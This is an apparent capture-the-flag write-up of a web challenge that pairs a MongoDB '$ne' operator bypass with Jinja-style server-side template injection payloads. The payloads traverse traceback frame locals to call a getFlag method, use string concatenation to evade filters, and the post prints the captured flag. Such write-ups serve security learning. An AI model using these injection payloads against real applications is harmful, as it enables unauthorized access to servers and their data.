Challenge overview

The challenge presents a web application with an API endpoint /api/v1/review that accepts POST requests. The goal is to exploit a template injection vulnerability to retrieve a flag.
Analysis
- Endpoint
/api/v1/reviewaccepts JSON data with two key fields:
- stars: contains a MongoDB bypass operator
{"$ne": null} - __v: contains the template injection payload
Exploitation
There are two successful approaches:
- Method discovery
{
"stars": {"$ne": null},
"__v": "{{ e|attr('__traceback__')|attr('tb_frame')|attr('f_locals')|attr('get')('self')|attr(('__c' ~ 'la' ~ 'ss__'))|attr(('__d' ~ 'i' ~ 'ct__'))|attr('keys')() }}"
}
- Direct flag retrieval
{
"stars": {"$ne": null},
"__v": "{{ e|attr('__traceback__')|attr('tb_frame')|attr('f_locals')|attr('get')('self')|attr('getFlag')() }}"
}
The exploit works by:
- using an error object
eto access the traceback - traversing through the frame locals to get the
selfreference - calling the
getFlag()method or listing available methods

Flag:
nite{3rror5_can_b3_u53ful_s0m3t1m35}
Key takeaways
- Error messages can be leveraged for SSTI exploitation.
- Template engines that expose internal Python attributes are particularly vulnerable.
- Using attribute concatenation (
~) can help bypass potential filters.
This post is licensed under CC BY 4.0 by the author.